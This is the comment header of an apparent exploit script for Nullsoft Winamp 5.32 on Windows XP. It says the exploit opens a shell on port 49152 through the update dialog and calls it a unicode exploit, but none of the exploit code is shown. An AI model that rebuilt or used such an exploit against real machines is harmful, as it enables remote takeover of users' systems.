# Tested on win XP SP2 ENG
# Tuned for Nullsoft Winamp 5.32 d.i.
# Shell on port 49152
# 
# usage:
# well, not much fun for you kids here ..
# to get the shell you have to use ALT+3 and press UPDATE. 
# Instead this one is VERY interesting for the exploiters around..
# this is an unicode sploit where in addition about half
# of the 0x0-0xff range can't be used..
# I'm quite curious to see if someone understands how I did..
# if this is the case drop me a mail with the magic word
# to gforce(put the @ here)operamail(put the . here)com
# 
# btw 
# due to some complaints by some kids that were having serious
# problems in using winzip, this time I tried with winrar :-)
#
#
#update:
#the latest 5.5 seems patched.
#the winamp version 5.32 reflects the date when I last updated 
#this code, 'cause I exploited this one more than an year ago.
#I see that marsu exploited the same bug about six months ago,
#when I did the big mistake to show this one to some "friends"..
#I'm sure that marsu can even give the details on how this bug works :-)
